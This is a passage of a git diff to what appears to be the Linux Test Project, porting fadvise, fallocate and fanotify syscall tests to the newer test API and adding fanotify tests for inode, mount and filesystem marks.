-					 "unexpected return value - %ld : %s - "
-					 "expected %d", TEST_RETURN,
-					 strerror(TEST_RETURN), TC[i].error);
-			}
-		}
-	}
-
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-
-	tst_exit();
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
 void setup(void)
 {
-	int pipedes[2];
+	SAFE_PIPE(pipedes);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Make a pipe */
-	if (pipe(pipedes) != 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Untable to make a pipe: %s\n", strerror(errno));
-	} else {
-		int i;
-
-		/* Close write side first.
-		   I don't use it in test. */
-		close(pipedes[1]);
-
-		/* Fill fd field of all test cases
-		   with read side of pipe. */
-		for (i = 0; i < TST_TOTAL; i++) {
-			TC[i].fd = pipedes[0];
-		}
-	}
+	SAFE_CLOSE(pipedes[1]);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
 void cleanup(void)
 {
-
-	/* Close pipe of read side */
-	close(TC[0].fd);
-
+	if (pipedes[0] > 0)
+		SAFE_CLOSE(pipedes[0]);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_fadvise,
+	.tcnt = ARRAY_SIZE(defined_advise),
+	.min_kver = "2.6.16",
+};
diff --git a/testcases/kernel/syscalls/fallocate/.gitignore b/testcases/kernel/syscalls/fallocate/.gitignore
new file mode 100644
index 0000000..ef38ed6
--- /dev/null
+++ b/testcases/kernel/syscalls/fallocate/.gitignore
@@ -0,0 +1,5 @@
+/fallocate01
+/fallocate02
+/fallocate03
+/fallocate04
+/fallocate05
diff --git a/testcases/kernel/syscalls/fallocate/fallocate05.c b/testcases/kernel/syscalls/fallocate/fallocate05.c
index 1fac26a..49dc44b 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate05.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate05.c
@@ -30,6 +30,7 @@
 
 #define MNTPOINT "mntpoint"
 #define FALLOCATE_SIZE 8192
+#define TESTED_FLAGS "fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE)"
 
 static int fd;
 
@@ -69,14 +70,14 @@
 
 	tst_res(TPASS | TERRNO, "fallocate() on full FS");
 
-	ret = fallocate(fd, FALLOC_FL_PUNCH_HOLE, 0, FALLOCATE_SIZE);
+	ret = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, FALLOCATE_SIZE);
 	if (ret == -1) {
 		if (errno == EOPNOTSUPP)
-			tst_brk(TCONF, "fallocate(FALLOC_FL_PUNCH_HOLE)");
+			tst_brk(TCONF, TESTED_FLAGS);
 
-		tst_brk(TBROK | TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)");
+		tst_brk(TBROK | TERRNO, TESTED_FLAGS);
 	}
-	tst_res(TPASS, "fallocate(FALLOC_FL_PUNCH_HOLE)");
+	tst_res(TPASS, TESTED_FLAGS);
 
 	ret = write(fd, buf, 10);
 	if (ret == -1)
diff --git a/testcases/kernel/syscalls/fanotify/.gitignore b/testcases/kernel/syscalls/fanotify/.gitignore
new file mode 100644
index 0000000..3818e24
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/.gitignore
@@ -0,0 +1,11 @@
+/fanotify01
+/fanotify02
+/fanotify03
+/fanotify04
+/fanotify05
+/fanotify06
+/fanotify07
+/fanotify08
+/fanotify09
+/fanotify10
+/fanotify11
diff --git a/testcases/kernel/syscalls/fanotify/Makefile b/testcases/kernel/syscalls/fanotify/Makefile
index bb58878..5d01b48 100644
--- a/testcases/kernel/syscalls/fanotify/Makefile
+++ b/testcases/kernel/syscalls/fanotify/Makefile
@@ -17,7 +17,7 @@
 #
 
 top_srcdir		?= ../../../..
-
+fanotify11: CFLAGS+=-pthread
 include $(top_srcdir)/include/mk/testcases.mk
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/fanotify/fanotify.h b/testcases/kernel/syscalls/fanotify/fanotify.h
index f5f7df2..880dea5 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify.h
+++ b/testcases/kernel/syscalls/fanotify/fanotify.h
@@ -54,4 +54,23 @@
 
 #endif /* HAVE_SYS_FANOTIFY_H */
 
+#ifndef FAN_REPORT_TID
+#define FAN_REPORT_TID		0x00000100
+#endif
+
+#ifndef FAN_MARK_INODE
+#define FAN_MARK_INODE		0
+#endif
+#ifndef FAN_MARK_FILESYSTEM
+#define FAN_MARK_FILESYSTEM	0x00000100
+#endif
+
+struct fanotify_mark_type {
+	unsigned int flag;
+	const char * name;
+};
+
+#define INIT_FANOTIFY_MARK_TYPE(t) \
+	{ FAN_MARK_ ## t, "FAN_MARK_" #t }
+
 #endif /* __FANOTIFY_H__ */
diff --git a/testcases/kernel/syscalls/fanotify/fanotify01.c b/testcases/kernel/syscalls/fanotify/fanotify01.c
index 24fc214..a558559 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify01.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify01.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2013 SUSE.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -50,26 +32,55 @@
 #define BUF_SIZE 256
 #define TST_TOTAL 12
 
+static struct tcase {
+	const char *tname;
+	struct fanotify_mark_type mark;
+} tcases[] = {
+	{
+		"inode mark events",
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+	},
+	{
+		"mount mark events",
+		INIT_FANOTIFY_MARK_TYPE(MOUNT),
+	},
+	{
+		"filesystem mark events",
+		INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+	},
+};
+
 static char fname[BUF_SIZE];
 static char buf[BUF_SIZE];
-static int fd, fd_notify;
+static int fd_notify;
 
 static unsigned long long event_set[EVENT_MAX];
 
 static char event_buf[EVENT_BUF_LEN];
 
-void test01(void)
+static void test_fanotify(unsigned int n)
 {
-	int ret, len, i = 0, test_num = 0;
-
+	struct tcase *tc = &tcases[n];
+	struct fanotify_mark_type *mark = &tc->mark;
+	int fd, ret, len, i = 0, test_num = 0;
 	int tst_count = 0;
 
-	if (fanotify_mark(fd_notify, FAN_MARK_ADD, FAN_ACCESS | FAN_MODIFY |
-			    FAN_CLOSE | FAN_OPEN, AT_FDCWD, fname) < 0) {
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+
+	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF, O_RDONLY);
+
+	if (fanotify_mark(fd_notify, FAN_MARK_ADD | mark->flag,
+			  FAN_ACCESS | FAN_MODIFY | FAN_CLOSE | FAN_OPEN,
+			  AT_FDCWD, fname) < 0) {
+		if (errno == EINVAL && mark->flag == FAN_MARK_FILESYSTEM) {
+			tst_res(TCONF,
+				"FAN_MARK_FILESYSTEM not supported in kernel?");
+			return;
+		}
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK_ADD, FAN_ACCESS | "
-		    "FAN_MODIFY | FAN_CLOSE | FAN_OPEN, AT_FDCWD, %s) "
-		    "failed", fd_notify, fname);
+			"fanotify_mark (%d, FAN_MARK_ADD, FAN_ACCESS | %s | "
+			"FAN_MODIFY | FAN_CLOSE | FAN_OPEN, AT_FDCWD, %s) "
+			"failed", fd_notify, mark->name, fname);
 	}
 
 	/*
@@ -119,12 +130,12 @@
 
 	/* Ignore access events */
 	if (fanotify_mark(fd_notify,
-			    FAN_MARK_ADD | FAN_MARK_IGNORED_MASK,
-			    FAN_ACCESS, AT_FDCWD, fname) < 0) {
+			  FAN_MARK_ADD | mark->flag | FAN_MARK_IGNORED_MASK,
+			  FAN_ACCESS, AT_FDCWD, fname) < 0) {
 		tst_brk(TBROK | TERRNO,
-		     "fanotify_mark (%d, FAN_MARK_ADD | "
-		     "FAN_MARK_IGNORED_MASK, FAN_ACCESS, "
-		     "AT_FDCWD, %s) failed", fd_notify, fname);
+			"fanotify_mark (%d, FAN_MARK_ADD | %s | "
+			"FAN_MARK_IGNORED_MASK, FAN_ACCESS, AT_FDCWD, %s) "
+			"failed", fd_notify, mark->name, fname);
 	}
 
 	fd = SAFE_OPEN(fname, O_RDWR);
@@ -168,15 +179,14 @@
 	 * Now ignore open & close events regardless of file
 	 * modifications
 	 */
-	if (fanotify_mark(fd_notify,
-			    FAN_MARK_ADD | FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY,
-			    FAN_OPEN | FAN_CLOSE, AT_FDCWD, fname) < 0) {
+	if (fanotify_mark(fd_notify, FAN_MARK_ADD | mark->flag |
+			  FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY,
+			  FAN_OPEN | FAN_CLOSE, AT_FDCWD, fname) < 0) {
 		tst_brk(TBROK | TERRNO,
-		     "fanotify_mark (%d, FAN_MARK_ADD | "
-		     "FAN_MARK_IGNORED_MASK | "
-		     "FAN_MARK_IGNORED_SURV_MODIFY, FAN_OPEN | "
-		     "FAN_CLOSE, AT_FDCWD, %s) failed", fd_notify,
-		     fname);
+			"fanotify_mark (%d, FAN_MARK_ADD | %s | "
+			"FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY, "
+			"FAN_OPEN | FAN_CLOSE, AT_FDCWD, %s) failed",
+			fd_notify, mark->name, fname);
 	}
 
 	/* This event should be ignored */
@@ -199,13 +209,13 @@
 
 	/* Now remove open and close from ignored mask */
 	if (fanotify_mark(fd_notify,
-			    FAN_MARK_REMOVE | FAN_MARK_IGNORED_MASK,
-			    FAN_OPEN | FAN_CLOSE, AT_FDCWD, fname) < 0) {
+			  FAN_MARK_REMOVE | mark->flag | FAN_MARK_IGNORED_MASK,
+			  FAN_OPEN | FAN_CLOSE, AT_FDCWD, fname) < 0) {
 		tst_brk(TBROK | TERRNO,
-		     "fanotify_mark (%d, FAN_MARK_REMOVE | "
-		     "FAN_MARK_IGNORED_MASK, FAN_OPEN | "
-		     "FAN_CLOSE, AT_FDCWD, %s) failed", fd_notify,
-		     fname);
+			"fanotify_mark (%d, FAN_MARK_REMOVE | %s | "
+			"FAN_MARK_IGNORED_MASK, FAN_OPEN | FAN_CLOSE, "
+			"AT_FDCWD, %s) failed", fd_notify,
+			mark->name, fname);
 	}
 
 	SAFE_CLOSE(fd);
@@ -219,8 +229,8 @@
 
 	if (TST_TOTAL != tst_count) {
 		tst_brk(TBROK,
-			 "TST_TOTAL (%d) and tst_count (%d) are not "
-			 "equal", TST_TOTAL, tst_count);
+			"TST_TOTAL (%d) and tst_count (%d) are not "
+			"equal", TST_TOTAL, tst_count);
 	}
 	tst_count = 0;
 
@@ -233,51 +243,51 @@
 		event = (struct fanotify_event_metadata *)&event_buf[i];
 		if (test_num >= TST_TOTAL) {
 			tst_res(TFAIL,
-				 "get unnecessary event: mask=%llx "
-				 "pid=%u fd=%u",
-				 (unsigned long long)event->mask,
-				 (unsigned)event->pid, event->fd);
+				"got unnecessary event: mask=%llx "
+				"pid=%u fd=%d",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid, event->fd);
 		} else if (!(event->mask & event_set[test_num])) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx (expected %llx) "
-				 "pid=%u fd=%u",
-				 (unsigned long long)event->mask,
-				 event_set[test_num],
-				 (unsigned)event->pid, event->fd);
+				"got event: mask=%llx (expected %llx) "
+				"pid=%u fd=%d",
+				(unsigned long long)event->mask,
+				event_set[test_num],
+				(unsigned)event->pid, event->fd);
 		} else if (event->pid != getpid()) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx pid=%u "
-				 "(expected %u) fd=%u",
-				 (unsigned long long)event->mask,
-				 (unsigned)event->pid,
-				 (unsigned)getpid(),
-				 event->fd);
+				"got event: mask=%llx pid=%u "
+				"(expected %u) fd=%d",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid,
+				(unsigned)getpid(),
+				event->fd);
 		} else {
 			if (event->fd == -2)
 				goto pass;
 			ret = read(event->fd, buf, BUF_SIZE);
 			if (ret != (int)strlen(fname)) {
 				tst_res(TFAIL,
-					 "cannot read from returned fd "
-					 "of event: mask=%llx pid=%u "
-					 "fd=%u ret=%d (errno=%d)",
-					 (unsigned long long)event->mask,
-					 (unsigned)event->pid,
-					 event->fd, ret, errno);
+					"cannot read from returned fd "
+					"of event: mask=%llx pid=%u "
+					"fd=%d ret=%d (errno=%d)",
+					(unsigned long long)event->mask,
+					(unsigned)event->pid,
+					event->fd, ret, errno);
 			} else if (memcmp(buf, fname, strlen(fname))) {
 				tst_res(TFAIL,
-					 "wrong data read from returned fd "
-					 "of event: mask=%llx pid=%u "
-					 "fd=%u",
-					 (unsigned long long)event->mask,
-					 (unsigned)event->pid,
-					 event->fd);
+					"wrong data read from returned fd "
+					"of event: mask=%llx pid=%u "
+					"fd=%d",
+					(unsigned long long)event->mask,
+					(unsigned)event->pid,
+					event->fd);
 			} else {
 pass:
 				tst_res(TPASS,
-				    "get event: mask=%llx pid=%u fd=%u",
-				    (unsigned long long)event->mask,
-				    (unsigned)event->pid, event->fd);
+					"got event: mask=%llx pid=%u fd=%d",
+					(unsigned long long)event->mask,
+					(unsigned)event->pid, event->fd);
 			}
 		}
 		/*
@@ -285,7 +295,8 @@
 		 * invalidate it so that we don't check it again
 		 * unnecessarily
 		 */
-		close(event->fd);
+		if (event->fd >= 0)
+			SAFE_CLOSE(event->fd);
 		event->fd = -2;
 		event->mask &= ~event_set[test_num];
 		/* No events left in current mask? Go for next event */
@@ -296,28 +307,26 @@
 	}
 	for (; test_num < TST_TOTAL; test_num++) {
 		tst_res(TFAIL, "didn't get event: mask=%llx",
-			 event_set[test_num]);
+			event_set[test_num]);
 
 	}
 	/* Remove mark to clear FAN_MARK_IGNORED_SURV_MODIFY */
-	if (fanotify_mark(fd_notify, FAN_MARK_REMOVE, FAN_ACCESS | FAN_MODIFY |
-			    FAN_CLOSE | FAN_OPEN, AT_FDCWD, fname) < 0) {
+	if (fanotify_mark(fd_notify, FAN_MARK_REMOVE | mark->flag,
+			  FAN_ACCESS | FAN_MODIFY | FAN_CLOSE | FAN_OPEN,
+			  AT_FDCWD, fname) < 0) {
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK_REMOVE, FAN_ACCESS | "
-		    "FAN_MODIFY | FAN_CLOSE | FAN_OPEN, AT_FDCWD, %s) "
-		    "failed", fd_notify, fname);
+			"fanotify_mark (%d, FAN_MARK_REMOVE | %s, FAN_ACCESS | "
+			"FAN_MODIFY | FAN_CLOSE | FAN_OPEN, AT_FDCWD, %s) "
+			"failed", fd_notify, mark->name, fname);
 	}
+
+	SAFE_CLOSE(fd_notify);
 }
 
 static void setup(void)
 {
 	sprintf(fname, "tfile_%d", getpid());
-	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
-	SAFE_WRITE(1, fd, fname, 1);
-	/* close the file we have open */
-	SAFE_CLOSE(fd);
-
-	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF, O_RDONLY);
+	SAFE_FILE_PRINTF(fname, "1");
 }
 
 static void cleanup(void)
@@ -327,7 +336,8 @@
 }
 
 static struct tst_test test = {
-	.test_all = test01,
+	.test = test_fanotify,
+	.tcnt = ARRAY_SIZE(tcases),
 	.setup = setup,
 	.cleanup = cleanup,
 	.needs_tmpdir = 1,
diff --git a/testcases/kernel/syscalls/fanotify/fanotify02.c b/testcases/kernel/syscalls/fanotify/fanotify02.c
index 5aae777..c578e0a 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify02.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify02.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2013 SUSE.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -65,14 +47,14 @@
 	int tst_count = 0;
 
 	if (fanotify_mark(fd_notify, FAN_MARK_ADD, FAN_ACCESS |
-			    FAN_MODIFY | FAN_CLOSE | FAN_OPEN |
-			    FAN_EVENT_ON_CHILD | FAN_ONDIR, AT_FDCWD,
+			  FAN_MODIFY | FAN_CLOSE | FAN_OPEN |
+			  FAN_EVENT_ON_CHILD | FAN_ONDIR, AT_FDCWD,
 			  ".") < 0) {
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK_ADD, FAN_ACCESS | "
-		    "FAN_MODIFY | FAN_CLOSE | FAN_OPEN | "
-		    "FAN_EVENT_ON_CHILD | FAN_ONDIR, AT_FDCWD, '.') "
-		    "failed", fd_notify);
+			"fanotify_mark (%d, FAN_MARK_ADD, FAN_ACCESS | "
+			"FAN_MODIFY | FAN_CLOSE | FAN_OPEN | "
+			"FAN_EVENT_ON_CHILD | FAN_ONDIR, AT_FDCWD, '.') "
+			"failed", fd_notify);
 	}
 
 	/*
@@ -121,11 +103,11 @@
 	 * now remove child mark
 	 */
 	if (fanotify_mark(fd_notify, FAN_MARK_REMOVE,
-			    FAN_EVENT_ON_CHILD, AT_FDCWD, ".") < 0) {
+			  FAN_EVENT_ON_CHILD, AT_FDCWD, ".") < 0) {
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK REMOVE, "
-		    "FAN_EVENT_ON_CHILD, AT_FDCWD, '.') failed",
-		    fd_notify);
+			"fanotify_mark (%d, FAN_MARK REMOVE, "
+			"FAN_EVENT_ON_CHILD, AT_FDCWD, '.') failed",
+			fd_notify);
 	}
 
 	/*
@@ -152,7 +134,7 @@
 
 	if (TST_TOTAL != tst_count) {
 		tst_brk(TBROK,
-			 "TST_TOTAL and tst_count are not equal");
+			"TST_TOTAL and tst_count are not equal");
 	}
 	tst_count = 0;
 
@@ -165,42 +147,43 @@
 		event = (struct fanotify_event_metadata *)&event_buf[i];
 		if (test_num >= TST_TOTAL) {
 			tst_res(TFAIL,
-				 "get unnecessary event: mask=%llx "
-				 "pid=%u fd=%u",
-				 (unsigned long long)event->mask,
-				 (unsigned)event->pid, event->fd);
+				"get unnecessary event: mask=%llx "
+				"pid=%u fd=%d",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid, event->fd);
 		} else if (!(event->mask & event_set[test_num])) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx (expected %llx) "
-				 "pid=%u fd=%u",
-				 (unsigned long long)event->mask,
-				 event_set[test_num],
-				 (unsigned)event->pid, event->fd);
+				"got event: mask=%llx (expected %llx) "
+				"pid=%u fd=%d",
+				(unsigned long long)event->mask,
+				event_set[test_num],
+				(unsigned)event->pid, event->fd);
 		} else if (event->pid != getpid()) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx pid=%u "
-				 "(expected %u) fd=%u",
-				 (unsigned long long)event->mask,
-				 (unsigned)event->pid,
-				 (unsigned)getpid(),
-				 event->fd);
+				"got event: mask=%llx pid=%u "
+				"(expected %u) fd=%d",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid,
+				(unsigned)getpid(),
+				event->fd);
 		} else {
 			tst_res(TPASS,
-				    "get event: mask=%llx pid=%u fd=%u",
-				    (unsigned long long)event->mask,
-				    (unsigned)event->pid, event->fd);
+				"got event: mask=%llx pid=%u fd=%u",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid, event->fd);
 		}
 		event->mask &= ~event_set[test_num];
 		/* No events left in current mask? Go for next event */
 		if (event->mask == 0) {
 			i += event->event_len;
-			close(event->fd);
+			if (event->fd != FAN_NOFD)
+				SAFE_CLOSE(event->fd);
 		}
 		test_num++;
 	}
 	for (; test_num < TST_TOTAL; test_num++) {
 		tst_res(TFAIL, "didn't get event: mask=%llx",
-			 event_set[test_num]);
+			event_set[test_num]);
 
 	}
 }
diff --git a/testcases/kernel/syscalls/fanotify/fanotify03.c b/testcases/kernel/syscalls/fanotify/fanotify03.c
index 4000420..4991e12 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify03.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify03.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2013 SUSE.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -65,6 +47,24 @@
 
 static char event_buf[EVENT_BUF_LEN];
 
+static struct tcase {
+	const char *tname;
+	struct fanotify_mark_type mark;
+} tcases[] = {
+	{
+		"inode mark permission events",
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+	},
+	{
+		"mount mark permission events",
+		INIT_FANOTIFY_MARK_TYPE(MOUNT),
+	},
+	{
+		"filesystem mark permission events",
+		INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+	},
+};
+
 static void generate_events(void)
 {
 	int fd;
@@ -106,7 +106,7 @@
 
 	if (sigaction(SIGCHLD, &child_action, NULL) < 0) {
 		tst_brk(TBROK | TERRNO,
-			 "sigaction(SIGCHLD, &child_action, NULL) failed");
+			"sigaction(SIGCHLD, &child_action, NULL) failed");
 	}
 
 	child_pid = SAFE_FORK();
@@ -128,7 +128,7 @@
 	child_action.sa_flags = SA_NOCLDSTOP;
 	if (sigaction(SIGCHLD, &child_action, NULL) < 0) {
 		tst_brk(TBROK | TERRNO,
-			 "sigaction(SIGCHLD, &child_action, NULL) failed");
+			"sigaction(SIGCHLD, &child_action, NULL) failed");
 	}
 	SAFE_WAITPID(-1, &child_ret, 0);
 
@@ -138,15 +138,45 @@
 		tst_res(TFAIL, "child %s", tst_strstatus(child_ret));
 }
 
-void test01(void)
+static int setup_mark(unsigned int n)
 {
-	int tst_count, fd_notify_backup = -1;
+	struct tcase *tc = &tcases[n];
+	struct fanotify_mark_type *mark = &tc->mark;
 
+	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_CONTENT, O_RDONLY);
+
+	if (fanotify_mark(fd_notify, FAN_MARK_ADD | mark->flag,
+			  FAN_ACCESS_PERM | FAN_OPEN_PERM,
+			  AT_FDCWD, fname) < 0) {
+		if (errno == EINVAL && mark->flag == FAN_MARK_FILESYSTEM) {
+			tst_res(TCONF,
+				"FAN_MARK_FILESYSTEM not supported in kernel?");
+			return -1;
+		} else if (errno == EINVAL) {
+			tst_brk(TCONF | TERRNO,
+				"CONFIG_FANOTIFY_ACCESS_PERMISSIONS not "
+				"configured in kernel?");
+		} else {
+			tst_brk(TBROK | TERRNO,
+				"fanotify_mark (%d, FAN_MARK_ADD | %s, "
+				"FAN_ACCESS_PERM | FAN_OPEN_PERM, "
+				"AT_FDCWD, %s) failed.",
+				fd_notify, mark->name, fname);
+		}
+	}
+
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+	return 0;
+}
+
+static void test_fanotify(unsigned int n)
+{
+	int tst_count;
 	int ret, len = 0, i = 0, test_num = 0;
 
-	if (fd_notify_backup == -1) {
-		fd_notify_backup = SAFE_DUP(fd_notify);
-	}
+	if (setup_mark(n) != 0)
+		return;
+
 	run_child();
 
 	tst_count = 0;
@@ -159,7 +189,7 @@
 	/* tst_count + 1 is for checking child return value */
 	if (TST_TOTAL != tst_count + 1) {
 		tst_brk(TBROK,
-			 "TST_TOTAL and tst_count do not match");
+			"TST_TOTAL and tst_count do not match");
 	}
 	tst_count = 0;
 
@@ -177,8 +207,8 @@
 				break;
 			if (ret < 0) {
 				tst_brk(TBROK,
-					 "read(%d, buf, %zu) failed",
-					 fd_notify, EVENT_BUF_LEN);
+					"read(%d, buf, %zu) failed",
+					fd_notify, EVENT_BUF_LEN);
 			}
 			len += ret;
 		}
@@ -186,24 +216,24 @@
 		event = (struct fanotify_event_metadata *)&event_buf[i];
 		if (!(event->mask & event_set[test_num])) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx (expected %llx) "
-				 "pid=%u fd=%u",
-				 (unsigned long long)event->mask,
-				 event_set[test_num],
-				 (unsigned)event->pid, event->fd);
+				"got event: mask=%llx (expected %llx) "
+				"pid=%u fd=%d",
+				(unsigned long long)event->mask,
+				event_set[test_num],
+				(unsigned)event->pid, event->fd);
 		} else if (event->pid != child_pid) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx pid=%u "
-				 "(expected %u) fd=%u",
-				 (unsigned long long)event->mask,
-				 (unsigned)event->pid,
-				 (unsigned)child_pid,
-				 event->fd);
+				"got event: mask=%llx pid=%u "
+				"(expected %u) fd=%d",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid,
+				(unsigned)child_pid,
+				event->fd);
 		} else {
 			tst_res(TPASS,
-				    "get event: mask=%llx pid=%u fd=%u",
-				    (unsigned long long)event->mask,
-				    (unsigned)event->pid, event->fd);
+				"got event: mask=%llx pid=%u fd=%d",
+				(unsigned long long)event->mask,
+				(unsigned)event->pid, event->fd);
 		}
 		/* Write response to permission event */
 		if (event_set[test_num] & FAN_ALL_PERM_EVENTS) {
@@ -218,47 +248,26 @@
 		/* No events left in current mask? Go for next event */
 		if (event->mask == 0) {
 			i += event->event_len;
-			close(event->fd);
+			if (event->fd != FAN_NOFD)
+				SAFE_CLOSE(event->fd);
 		}
 		test_num++;
 	}
 	for (; test_num < TST_TOTAL - 1; test_num++) {
 		tst_res(TFAIL, "didn't get event: mask=%llx",
-			 event_set[test_num]);
+			event_set[test_num]);
 
 	}
 	check_child();
-	/* We got SIGCHLD while running, resetup fd_notify */
-	if (fd_notify == -1) {
-		fd_notify = fd_notify_backup;
-		fd_notify_backup = -1;
-	}
+
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
 }
 
 static void setup(void)
 {
-	int fd;
-
 	sprintf(fname, "fname_%d", getpid());
-	fd = SAFE_OPEN(fname, O_CREAT | O_RDWR, 0644);
-	SAFE_WRITE(1, fd, fname, 1);
-	SAFE_CLOSE(fd);
-
-	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_CONTENT, O_RDONLY);
-
-	if (fanotify_mark(fd_notify, FAN_MARK_ADD, FAN_ACCESS_PERM |
-			    FAN_OPEN_PERM, AT_FDCWD, fname) < 0) {
-		if (errno == EINVAL) {
-			tst_brk(TCONF | TERRNO,
-				 "CONFIG_FANOTIFY_ACCESS_PERMISSIONS not "
-				 "configured in kernel?");
-		} else {
-			tst_brk(TBROK | TERRNO,
-				 "fanotify_mark (%d, FAN_MARK_ADD, FAN_ACCESS_PERM | "
-				 "FAN_OPEN_PERM, AT_FDCWD, %s) failed.", fd_notify, fname);
-		}
-	}
-
+	SAFE_FILE_PRINTF(fname, "1");
 }
 
 static void cleanup(void)
@@ -268,7 +277,8 @@
 }
 
 static struct tst_test test = {
-	.test_all = test01,
+	.test = test_fanotify,
+	.tcnt = ARRAY_SIZE(tcases),
 	.setup = setup,
 	.cleanup = cleanup,
 	.needs_tmpdir = 1,
diff --git a/testcases/kernel/syscalls/fanotify/fanotify04.c b/testcases/kernel/syscalls/fanotify/fanotify04.c
index 68f65da..722ad5d 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify04.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify04.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2013 SUSE.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
